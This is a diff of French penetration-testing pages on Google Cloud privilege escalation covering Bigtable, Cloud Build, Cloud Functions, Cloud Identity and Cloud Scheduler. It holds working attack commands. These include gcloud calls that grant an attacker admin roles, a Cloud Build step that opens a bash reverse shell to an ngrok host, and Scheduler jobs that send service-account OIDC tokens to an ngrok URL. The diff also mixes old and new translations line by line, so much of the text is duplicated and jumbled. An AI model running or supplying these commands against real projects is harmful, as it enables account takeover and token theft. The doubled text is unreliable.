Posséder la stratégie IAM de l'instance vous permet de vous attribuer **`roles/bigtable.admin`** (ou n'importe quel rôle personnalisé) qui se propage à tous les clusters, tables, sauvegardes et vues autorisées de l'instance.
|
||||
Posséder la politique IAM de l'instance vous permet de vous attribuer **`roles/bigtable.admin`** (ou tout rôle personnalisé), ce qui se répercute sur chaque cluster, table, sauvegarde et vue autorisée de l'instance.
|
||||
|
||||
<details><summary>S'attribuer le rôle bigtable.admin sur l'instance</summary>
|
||||
```bash
|
||||
gcloud bigtable instances add-iam-policy-binding <instance-id> \
|
||||
--member='user:<attacker@example.com>' \
|
||||
--role='roles/bigtable.admin'
|
||||
```
|
||||
> [!TIP]
|
||||
> Si vous ne pouvez pas lister les bindings existants, créez un nouveau document de policy et poussez-le avec `gcloud bigtable instances set-iam-policy` à condition d'y conserver vos propres droits.
|
||||
</details>
|
||||
|
||||
Après avoir obtenu cette permission, consultez la [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) pour d'autres façons d'abuser des permissions Bigtable.
|
||||
> [!TIP]
|
||||
> Si vous ne pouvez pas lister les bindings existants, créez un nouveau document de policy et appliquez-le avec `gcloud bigtable instances set-iam-policy`, en veillant à y conserver votre propre accès.
|
||||
|
||||
Après avoir obtenu cette permission, consultez la [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) pour d'autres techniques d'abus des permissions Bigtable.
|
||||
|
||||
### `bigtable.tables.setIamPolicy`
|
||||
|
||||
**Permissions :** `bigtable.tables.setIamPolicy` (optionnellement `bigtable.tables.getIamPolicy`).
|
||||
**Permissions:** `bigtable.tables.setIamPolicy` (optionally `bigtable.tables.getIamPolicy`).
|
||||
|
||||
Les politiques d'instance peuvent être verrouillées tandis que des tables individuelles sont déléguées. Si vous pouvez modifier l'IAM de la table, vous pouvez **vous promouvoir en tant que propriétaire du dataset cible** sans toucher aux autres workloads.
|
||||
Instance policies can be locked down while individual tables are delegated. If you can edit the table IAM you can **promote yourself to owner of the target dataset** without touching other workloads.
|
||||
|
||||
<details><summary>Attribuez-vous le rôle bigtable.admin sur la table</summary>
|
||||
```bash
|
||||
gcloud bigtable tables add-iam-policy-binding <table-id> \
|
||||
--instance=<instance-id> \
|
||||
--member='user:<attacker@example.com>' \
|
||||
--role='roles/bigtable.admin'
|
||||
```
|
||||
Une fois en possession de cette permission, consultez la [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) pour d'autres façons d'abuser des permissions Bigtable.
|
||||
</details>
|
||||
|
||||
Après avoir obtenu cette permission, consultez la [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) pour plus de techniques permettant d'abuser des permissions Bigtable.
|
||||
|
||||
|
||||
### `bigtable.backups.setIamPolicy`
|
||||
|
||||
**Permissions :** `bigtable.backups.setIamPolicy`
|
||||
**Permissions:** `bigtable.backups.setIamPolicy`
|
||||
|
||||
Les sauvegardes peuvent être restaurées dans **n'importe quelle instance de n'importe quel projet** que vous contrôlez. D'abord, donnez à votre identité l'accès à la sauvegarde, puis restaurez-la dans un sandbox où vous disposez des rôles Admin/Owner.
|
||||
Les sauvegardes peuvent être restaurées sur **n'importe quelle instance dans n'importe quel projet** que vous contrôlez. D'abord, donnez à votre identité l'accès à la sauvegarde, puis restaurez-la dans un sandbox où vous avez des rôles Admin/Owner.
|
||||
|
||||
Si vous avez la permission `bigtable.backups.setIamPolicy`, vous pouvez vous accorder la permission `bigtable.backups.restore` pour restaurer d'anciennes sauvegardes et tenter d'accéder à des informations sensibles.
|
||||
|
||||
<details><summary>Prendre possession d'un instantané de sauvegarde</summary>
|
||||
```bash
|
||||
# Take ownership of the snapshot
|
||||
gcloud bigtable backups add-iam-policy-binding <backup-id> \
|
||||
@@ -53,14 +63,18 @@ gcloud bigtable backups add-iam-policy-binding <backup-id> \
|
||||
--member='user:<attacker@example.com>' \
|
||||
--role='roles/bigtable.admin'
|
||||
```
|
||||
Après avoir obtenu cette permission, consultez la [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) pour voir comment restaurer une sauvegarde.
|
||||
</details>
|
||||
|
||||
Après avoir vérifié cette permission dans la [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) pour savoir comment restaurer une sauvegarde.
|
||||
|
||||
|
||||
### Update authorized view
|
||||
### Mettre à jour Authorized View
|
||||
|
||||
**Autorisations :** `bigtable.authorizedViews.update`
|
||||
**Autorisations:** `bigtable.authorizedViews.update`
|
||||
|
||||
Authorized Views sont censées masquer des lignes/colonnes. Les modifier ou les supprimer **supprime les garde-fous granulaires** sur lesquels les défenseurs comptent.
|
||||
Les Authorized Views sont censées masquer des lignes/colonnes. Les modifier ou les supprimer **supprime les garde-fous granulaires** sur lesquels s'appuient les défenseurs.
|
||||
|
||||
<details><summary>Mettre à jour Authorized View pour élargir l'accès</summary>
|
||||
```bash
|
||||
# Broaden the subset by uploading a permissive definition
|
||||
gcloud bigtable authorized-views update <view-id> \
|
||||
@@ -85,13 +99,17 @@ EOF
|
||||
gcloud bigtable authorized-views describe <view-id> \
|
||||
--instance=<instance-id> --table=<table-id>
|
||||
```
|
||||
Si vous disposez de cette permission, consultez la [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) pour savoir comment lire depuis une Authorized View.
|
||||
</details>
|
||||
|
||||
Après avoir obtenu cette permission, consultez la [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) pour savoir comment lire depuis une Authorized View.
|
||||
|
||||
### `bigtable.authorizedViews.setIamPolicy`
|
||||
|
||||
**Autorisations :** `bigtable.authorizedViews.setIamPolicy`.
|
||||
**Permissions :** `bigtable.authorizedViews.setIamPolicy`.
|
||||
|
||||
Un attaquant disposant de cette permission peut s'accorder l'accès à une Authorized View, qui peut contenir des données sensibles auxquelles il n'aurait pas autrement accès.
|
||||
Un attaquant disposant de cette permission peut s'octroyer l'accès à une Authorized View, qui peut contenir des données sensibles auxquelles il n'aurait pas autrement accès.
|
||||
|
||||
<details><summary>S'octroyer l'accès à Authorized View</summary>
|
||||
```bash
|
||||
# Give more permissions over an existing view
|
||||
gcloud bigtable authorized-views add-iam-policy-binding <view-id> \
|
||||
@@ -99,8 +117,8 @@ gcloud bigtable authorized-views add-iam-policy-binding <view-id> \
|
||||
--member='user:<attacker@example.com>' \
|
||||
--role='roles/bigtable.viewer'
|
||||
```
|
||||
Après avoir effectué cette vérification des permissions dans la [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) pour voir comment lire depuis une vue autorisée.
|
||||
|
||||
</details>
|
||||
|
||||
Après avoir effectué cette vérification de permission, consultez la [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) pour savoir comment lire depuis une vue autorisée.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+6
-2
@@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### Créer une marque OAuth et un client
|
||||
### Créer un Brand OAuth et un client
|
||||
|
||||
[**Selon la documentation**](https://cloud.google.com/iap/docs/programmatic-oauth-clients), voici les autorisations requises :
|
||||
[**According to the docs**](https://cloud.google.com/iap/docs/programmatic-oauth-clients), voici les permissions requises :
|
||||
|
||||
- `clientauthconfig.brands.list`
|
||||
- `clientauthconfig.brands.create`
|
||||
@@ -14,6 +14,8 @@
|
||||
- `clientauthconfig.clients.getWithSecret`
|
||||
- `clientauthconfig.clients.delete`
|
||||
- `clientauthconfig.clients.update`
|
||||
|
||||
<details><summary>Créer un Brand OAuth et un client</summary>
|
||||
```bash
|
||||
# Create a brand
|
||||
gcloud iap oauth-brands list
|
||||
@@ -21,4 +23,6 @@ gcloud iap oauth-brands create --application_title=APPLICATION_TITLE --support_e
|
||||
# Create a client of the brand
|
||||
gcloud iap oauth-clients create projects/PROJECT_NUMBER/brands/BRAND-ID --display_name=NAME
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+32
-11
@@ -12,12 +12,14 @@ Pour plus d'informations sur Cloud Build, consultez :
|
||||
|
||||
### `cloudbuild.builds.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Avec cette permission, vous pouvez **soumettre un cloud build**. La machine cloudbuild aura dans son système de fichiers par **défaut un token du Service Account cloudbuild** : `<PROJECT_NUMBER>@cloudbuild.gserviceaccount.com`. Cependant, vous pouvez **indiquer n'importe quel compte de service à l'intérieur du projet** dans la configuration cloudbuild.\
|
||||
Par conséquent, vous pouvez simplement faire exfiltrer le token vers votre serveur ou **obtenir un shell inversé à l'intérieur et récupérer le token** (le fichier contenant le token peut changer).
|
||||
Avec cette permission, vous pouvez **soumettre un cloud build**. La machine cloudbuild aura dans son système de fichiers par **défaut un token du Service Account cloudbuild** : `<PROJECT_NUMBER>@cloudbuild.gserviceaccount.com`. Cependant, vous pouvez **indiquer n'importe quel service account à l'intérieur du projet** dans la configuration cloudbuild.\
|
||||
Par conséquent, vous pouvez simplement faire en sorte que la machine exfiltrate vers votre serveur le token ou **obtenir un reverse shell à l'intérieur et récupérer le token** (le fichier contenant le token peut changer).
|
||||
|
||||
#### Exploitation directe via gcloud CLI
|
||||
#### Direct exploitation via gcloud CLI
|
||||
|
||||
1- Créez `cloudbuild.yaml` et modifiez-le avec vos données d'écoute
|
||||
1- Créez `cloudbuild.yaml` et modifiez-le avec les données de votre listener
|
||||
|
||||
<details><summary>Configuration YAML Cloud Build pour reverse shell</summary>
|
||||
```yaml
|
||||
steps:
|
||||
- name: bash
|
||||
@@ -27,19 +29,28 @@ bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1
|
||||
options:
|
||||
logging: CLOUD_LOGGING_ONLY
|
||||
```
|
||||
2- Téléchargez un build simple sans source, le fichier yaml et spécifiez le SA à utiliser pour le build :
|
||||
</details>
|
||||
|
||||
2- Téléversez une build simple sans source, le fichier yaml et spécifiez le SA à utiliser pour la build :
|
||||
|
||||
<details><summary>Soumettre une Cloud Build avec le service account spécifié</summary>
|
||||
```bash
|
||||
gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects/<PROJECT>/serviceAccounts/<SERVICE_ACCOUNT_ID>@<PROJECT_ID>.iam.gserviceaccount.com
|
||||
```
|
||||
#### Utilisation de la bibliothèque python gcloud
|
||||
Vous pouvez trouver le script d'exploitation original [**ici sur GitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) (mais l'emplacement d'où il prend le token n'a pas fonctionné pour moi). Par conséquent, vérifiez un script pour automatiser la [**création, l'exploitation et le nettoyage d'un environnement vulnérable ici**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) et un script python pour obtenir un shell inversé à l'intérieur de la machine cloudbuild et [**le voler ici**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (dans le code, vous pouvez trouver comment spécifier d'autres comptes de service)**.**
|
||||
</details>
|
||||
|
||||
Pour une explication plus approfondie, visitez [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/)
|
||||
#### Utilisation de la bibliothèque python gcloud
|
||||
|
||||
Vous pouvez trouver le script d'exploit original [**here on GitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) (mais l'emplacement depuis lequel il récupère le token n'a pas fonctionné pour moi). Consultez donc un script pour automatiser la [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) et un script python pour obtenir une reverse shell à l'intérieur de la machine cloudbuild et [**steal it here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (dans le code vous pouvez trouver comment spécifier d'autres service accounts).
|
||||
|
||||
Pour une explication plus approfondie, consultez [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/)
|
||||
|
||||
|
||||
### `cloudbuild.repositories.accessReadToken`
|
||||
|
||||
Avec cette permission, l'utilisateur peut obtenir le **token d'accès en lecture** utilisé pour accéder au dépôt :
|
||||
Avec cette permission, l'utilisateur peut obtenir le **read access token** utilisé pour accéder au dépôt :
|
||||
|
||||
<details><summary>Obtenir le read access token pour le dépôt</summary>
|
||||
```bash
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
@@ -47,9 +58,13 @@ curl -X POST \
|
||||
-d '{}' \
|
||||
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadToken"
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudbuild.repositories.accessReadWriteToken`
|
||||
|
||||
Avec cette autorisation, l'utilisateur peut obtenir le **jeton d'accès en lecture et écriture** utilisé pour accéder au dépôt :
|
||||
Avec cette permission, l'utilisateur peut obtenir le **jeton d'accès en lecture et écriture** utilisé pour accéder au dépôt:
|
||||
|
||||
<details><summary>Obtenir le jeton d'accès en lecture et écriture pour le dépôt</summary>
|
||||
```bash
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
@@ -57,12 +72,18 @@ curl -X POST \
|
||||
-d '{}' \
|
||||
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadWriteToken"
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudbuild.connections.fetchLinkableRepositories`
|
||||
|
||||
Avec cette permission, vous pouvez **obtenir les dépôts auxquels la connexion a accès :**
|
||||
Avec cette permission, vous pouvez **obtenir les repos auxquels la connection a accès :**
|
||||
|
||||
<details><summary>Récupérer les dépôts pouvant être liés</summary>
|
||||
```bash
|
||||
curl -X GET \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>:fetchLinkableRepositories"
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+26
-18
@@ -4,7 +4,7 @@
|
||||
|
||||
## cloudfunctions
|
||||
|
||||
Plus d'informations sur Cloud Functions :
|
||||
Plus d'informations sur Cloud Functions :
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-functions-enum.md
|
||||
@@ -12,19 +12,21 @@ Plus d'informations sur Cloud Functions :
|
||||
|
||||
### `cloudfunctions.functions.create` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`
|
||||
|
||||
Un attaquant avec ces privilèges peut **créer une nouvelle Cloud Function avec du code arbitraire (malveillant) et lui assigner un Service Account**. Ensuite, il peut récupérer le token du Service Account à partir des métadonnées pour élever ses privilèges.\
|
||||
Certains privilèges pour déclencher la fonction peuvent être nécessaires.
|
||||
Un attaquant disposant de ces privilèges peut **créer une nouvelle Cloud Function avec du code arbitraire (malveillant) et lui assigner un Service Account**. Ensuite, leak le Service Account token depuis les metadata pour escalader les privilèges vers celui-ci.\
|
||||
Certaines permissions pour déclencher la fonction peuvent être requises.
|
||||
|
||||
Des scripts d'exploitation pour cette méthode peuvent être trouvés [ici](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) et [ici](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py) et le fichier .zip préconstruit peut être trouvé [ici](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions).
|
||||
Des scripts d'exploitation pour cette méthode se trouvent [ici](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) et [ici](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py) et l'archive .zip préconstruite se trouve [ici](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions).
|
||||
|
||||
### `cloudfunctions.functions.update` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`
|
||||
|
||||
Un attaquant avec ces privilèges peut **modifier le code d'une Function et même modifier le service account attaché** dans le but d'exfiltrer le token.
|
||||
Un attaquant disposant de ces privilèges peut **modifier le code d'une Function et même modifier le service account attaché** dans le but d'exfiltrating le token.
|
||||
|
||||
> [!CAUTION]
|
||||
> Pour déployer des cloud functions, vous aurez également besoin de permissions actAs sur le service account de calcul par défaut ou sur le service account utilisé pour construire l'image.
|
||||
> Pour déployer cloud functions vous aurez aussi besoin des permissions actAs sur le default compute service account ou sur le service account utilisé pour construire l'image.
|
||||
|
||||
Certains privilèges supplémentaires comme la permission `.call` pour la version 1 des cloudfunctions ou le rôle `role/run.invoker` pour déclencher la fonction peuvent être nécessaires.
|
||||
Certaines permissions supplémentaires comme la permission `.call` pour la version 1 de cloudfunctions ou le rôle `role/run.invoker` pour déclencher la fonction peuvent être requises.
|
||||
|
||||
<details><summary>Mettre à jour la Cloud Function avec du code malveillant pour exfiltrate service account token</summary>
|
||||
```bash
|
||||
# Create new code
|
||||
temp_dir=$(mktemp -d)
|
||||
@@ -54,14 +56,18 @@ gcloud functions deploy <cloudfunction-name> \
|
||||
# Get SA token calling the new function code
|
||||
gcloud functions call <cloudfunction-name>
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Si vous obtenez l'erreur `Permission 'run.services.setIamPolicy' denied on resource...`, c'est parce que vous utilisez le paramètre `--allow-unauthenticated` et que vous n'avez pas suffisamment de permissions pour cela.
|
||||
</details>
|
||||
|
||||
Le script d'exploitation pour cette méthode peut être trouvé [ici](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py).
|
||||
> [!CAUTION]
|
||||
> Si vous obtenez l'erreur `Permission 'run.services.setIamPolicy' denied on resource...` c'est parce que vous utilisez le paramètre `--allow-unauthenticated` et que vous n'avez pas les permissions nécessaires.
|
||||
|
||||
Le script d'exploitation pour cette méthode se trouve [ici](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py).
|
||||
|
||||
### `cloudfunctions.functions.sourceCodeSet`
|
||||
|
||||
Avec cette permission, vous pouvez obtenir une **URL signée pour pouvoir télécharger un fichier dans un bucket de fonction (mais le code de la fonction ne sera pas modifié, vous devez toujours le mettre à jour)**.
|
||||
Avec cette permission, vous pouvez obtenir une **URL signée permettant d'uploader un fichier dans le bucket de la Cloud Function (mais le code de la fonction ne sera pas modifié, vous devez toujours le mettre à jour)**
|
||||
|
||||
<details><summary>Générer une URL d'upload signée pour Cloud Function</summary>
|
||||
```bash
|
||||
# Generate the URL
|
||||
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
|
||||
@@ -69,19 +75,21 @@ curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/loca
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{}'
|
||||
```
|
||||
Je ne suis pas vraiment sûr de l'utilité de cette seule autorisation du point de vue d'un attaquant, mais c'est bon à savoir.
|
||||
</details>
|
||||
|
||||
Pas vraiment sûr de l'utilité de cette permission seule du point de vue d'un attaquant, mais bon à savoir.
|
||||
|
||||
### `cloudfunctions.functions.setIamPolicy` , `iam.serviceAccounts.actAs`
|
||||
|
||||
Donnez-vous l'un des privilèges précédents **`.update`** ou **`.create`** pour escalader.
|
||||
Attribuez-vous l'un des privilèges **`.update`** ou **`.create`** précédents pour escalader.
|
||||
|
||||
### `cloudfunctions.functions.update`
|
||||
|
||||
Avoir uniquement des autorisations **`cloudfunctions`**, sans **`iam.serviceAccounts.actAs`**, vous **ne pourrez pas mettre à jour la fonction DONC CE N'EST PAS UNE ESCALADE VALIDE.**
|
||||
En n'ayant que les permissions **`cloudfunctions`** et sans **`iam.serviceAccounts.actAs`**, vous **ne pourrez pas mettre à jour la Cloud Function, DONC CECI N'EST PAS UN PRIVESC VALIDE.**
|
||||
|
||||
### Accès en lecture et écriture sur le bucket
|
||||
|
||||
Si vous avez un accès en lecture et écriture sur le bucket, vous pouvez surveiller les changements dans le code et chaque fois qu'une **mise à jour dans le bucket se produit, vous pouvez mettre à jour le nouveau code avec votre propre code** afin que la nouvelle version de la Cloud Function s'exécute avec le code backdoor soumis.
|
||||
Si vous avez un accès en lecture et écriture sur le bucket, vous pouvez surveiller les changements dans le code et, dès qu'une mise à jour du bucket se produit, remplacer le nouveau code par le vôtre de sorte que la nouvelle version de la Cloud Function s'exécute avec le backdoored code soumis.
|
||||
|
||||
Vous pouvez en savoir plus sur l'attaque dans :
|
||||
|
||||
@@ -89,16 +97,16 @@ Vous pouvez en savoir plus sur l'attaque dans :
|
||||
gcp-storage-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
Cependant, vous ne pouvez pas utiliser cela pour pré-compromettre des Cloud Functions tierces car si vous créez le bucket dans votre compte et lui donnez des autorisations publiques afin que le projet externe puisse y écrire, vous obtenez l'erreur suivante :
|
||||
Cependant, vous ne pouvez pas utiliser cela pour compromettre à l'avance des Cloud Functions tierces, parce que si vous créez le bucket dans votre compte et lui donnez des permissions publiques afin que le projet externe puisse écrire dessus, vous obtenez l'erreur suivante :
|
||||
|
||||
<figure><img src="../../../images/image (1) (1) (1).png" alt="" width="304"><figcaption></figcaption></figure>
|
||||
|
||||
> [!CAUTION]
|
||||
> Cependant, cela pourrait être utilisé pour des attaques DoS.
|
||||
|
||||
### Accès en lecture et écriture sur l'Artifact Registry
|
||||
### Accès en lecture et écriture sur Artifact Registry
|
||||
|
||||
Lorsqu'une Cloud Function est créée, une nouvelle image docker est poussée vers l'Artifact Registry du projet. J'ai essayé de modifier l'image avec une nouvelle, et même de supprimer l'image actuelle (et l'image `cache`), et rien n'a changé, la Cloud Function continue de fonctionner. Par conséquent, il **pourrait être possible d'abuser d'une attaque de condition de course** comme avec le bucket pour changer le conteneur docker qui sera exécuté, mais **modifier simplement l'image stockée n'est pas possible pour compromettre la Cloud Function**.
|
||||
Quand une Cloud Function est créée, une nouvelle docker image est poussée dans l'Artifact Registry du projet. J'ai essayé de modifier l'image par une nouvelle, et même de supprimer l'image courante (et l'image `cache`) mais rien n'a changé : la Cloud Function a continué à fonctionner. Par conséquent, il pourrait peut-être être possible d'abuser d'une Race Condition comme avec le bucket pour remplacer le docker container qui sera exécuté, mais se contenter de modifier l'image stockée ne permet pas de compromettre la Cloud Function.
|
||||
|
||||
## Références
|
||||
|
||||
|
||||
+11
-3
@@ -12,14 +12,20 @@ Pour plus d'informations sur le service cloudidentity, consultez cette page :
|
||||
|
||||
### Ajoutez-vous à un groupe
|
||||
|
||||
Si votre utilisateur a suffisamment de permissions ou si le groupe est mal configuré, il pourrait être en mesure de se rendre membre d'un nouveau groupe :
|
||||
Si votre utilisateur dispose de permissions suffisantes ou si le groupe est mal configuré, il pourrait être en mesure de se rendre membre d'un nouveau groupe :
|
||||
|
||||
<details><summary>Ajoutez-vous à un groupe Cloud Identity</summary>
|
||||
```bash
|
||||
gcloud identity groups memberships add --group-email <email> --member-email <email> [--roles OWNER]
|
||||
# If --roles isn't specified you will get MEMBER
|
||||
```
|
||||
### Modifier l'appartenance au groupe
|
||||
</details>
|
||||
|
||||
Si votre utilisateur a suffisamment de permissions ou si le groupe est mal configuré, il pourrait être en mesure de se faire PROPRIÉTAIRE d'un groupe dont il est membre :
|
||||
### Modifier l'appartenance à un groupe
|
||||
|
||||
Si votre utilisateur dispose des permissions suffisantes ou si le groupe est mal configuré, il pourrait se rendre OWNER d'un groupe dont il est membre :
|
||||
|
||||
<details><summary>Modifier l'appartenance au groupe pour devenir OWNER</summary>
|
||||
```bash
|
||||
# Check the current membership level
|
||||
gcloud identity groups memberships describe --member-email <email> --group-email <email>
|
||||
@@ -27,4 +33,6 @@ gcloud identity groups memberships describe --member-email <email> --group-email
|
||||
# If not OWNER try
|
||||
gcloud identity groups memberships modify-membership-roles --group-email <email> --member-email <email> --add-roles=OWNER
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+26
-10
@@ -10,35 +10,49 @@ Plus d'informations dans :
|
||||
../gcp-services/gcp-cloud-scheduler-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `cloudscheduler.jobs.create`, `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)
|
||||
### `cloudscheduler.jobs.create` , `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)
|
||||
|
||||
Un attaquant avec ces permissions pourrait exploiter **Cloud Scheduler** pour **authentifier des tâches cron en tant que Service Account spécifique**. En élaborant une requête HTTP POST, l'attaquant planifie des actions, comme la création d'un bucket de stockage, à exécuter sous l'identité du Service Account. Cette méthode tire parti de **la capacité du Scheduler à cibler les points de terminaison `*.googleapis.com` et à authentifier les requêtes**, permettant à l'attaquant de manipuler directement les points de terminaison de l'API Google en utilisant une simple commande `gcloud`.
|
||||
Un attaquant disposant de ces permissions pourrait exploiter **Cloud Scheduler** pour **authentifier des cron jobs en tant qu'un Service Account spécifique**. En construisant une requête HTTP POST, l'attaquant planifie des actions, comme la création d'un Storage bucket, pour s'exécuter sous l'identité du Service Account. Cette méthode tire parti de la **capacité du Scheduler à cibler des endpoints `*.googleapis.com` et à authentifier des requêtes**, permettant à l'attaquant de manipuler directement les endpoints de l'API Google en utilisant une simple commande `gcloud`.
|
||||
|
||||
- **Contacter n'importe quelle API google via `googleapis.com` avec un en-tête de jeton OAuth**
|
||||
- **Contacter n'importe quelle API google via `googleapis.com` avec un en-tête de token OAuth**
|
||||
|
||||
Créer un nouveau bucket de stockage :
|
||||
Créer un nouveau Storage bucket :
|
||||
|
||||
<details><summary>Create Cloud Scheduler job to create GCS bucket via API</summary>
|
||||
```bash
|
||||
gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://storage.googleapis.com/storage/v1/b?project=<PROJECT-ID>' --message-body "{'name':'new-bucket-name'}" --oauth-service-account-email 111111111111-compute@developer.gserviceaccount.com --headers "Content-Type=application/json" --location us-central1
|
||||
```
|
||||
Pour élever les privilèges, un **attaquant crée simplement une requête HTTP ciblant l'API souhaitée, en usurpant le compte de service spécifié**
|
||||
</details>
|
||||
|
||||
- **Exfiltrer le jeton de compte de service OIDC**
|
||||
Pour escalader les privilèges, un **attaquant se contente de créer une requête HTTP visant l'API souhaitée, en se faisant passer pour le Service Account spécifié**
|
||||
|
||||
- **Exfiltrer le token OIDC du Service Account**
|
||||
|
||||
<details><summary>Créer un job Cloud Scheduler pour exfiltrer le token OIDC</summary>
|
||||
```bash
|
||||
gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']
|
||||
|
||||
# Listen in the ngrok address to get the OIDC token in clear text.
|
||||
```
|
||||
Si vous devez vérifier la réponse HTTP, vous pouvez simplement **jeter un œil aux journaux de l'exécution**.
|
||||
</details>
|
||||
|
||||
### `cloudscheduler.jobs.update`, `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)
|
||||
Si vous devez vérifier la réponse HTTP, vous pouvez simplement t**jeter un coup d'œil aux journaux de l'exécution**.
|
||||
|
||||
Comme dans le scénario précédent, il est possible de **mettre à jour un planificateur déjà créé** pour voler le jeton ou effectuer des actions. Par exemple :
|
||||
### `cloudscheduler.jobs.update` , `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)
|
||||
|
||||
Comme dans le scénario précédent, il est possible de **mettre à jour un scheduler déjà créé** pour voler le token ou effectuer des actions. Par exemple:
|
||||
|
||||
<details><summary>Mettre à jour un job Cloud Scheduler existant pour exfiltrer le token OIDC</summary>
|
||||
```bash
|
||||
gcloud scheduler jobs update http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']
|
||||
|
||||
# Listen in the ngrok address to get the OIDC token in clear text.
|
||||
```
|
||||
Un autre exemple pour télécharger une clé privée sur un SA et l'imiter :
|
||||
</details>
|
||||
|
||||
Un autre exemple pour téléverser une clé privée sur un SA et impersonate it :
|
||||
|
||||
<details><summary>Upload private key to Service Account via Cloud Scheduler and impersonate it</summary>
|
||||
```bash
|
||||
# Generate local private key
|
||||
openssl req -x509 -nodes -newkey rsa:2048 -days 365 \
|
||||
@@ -102,6 +116,8 @@ EOF
|
||||
# Activate the generated key
|
||||
gcloud auth activate-service-account --key-file=/tmp/lab.json
|
||||
```
|
||||
</details>
|
||||
|
||||
## Références
|
||||
|
||||
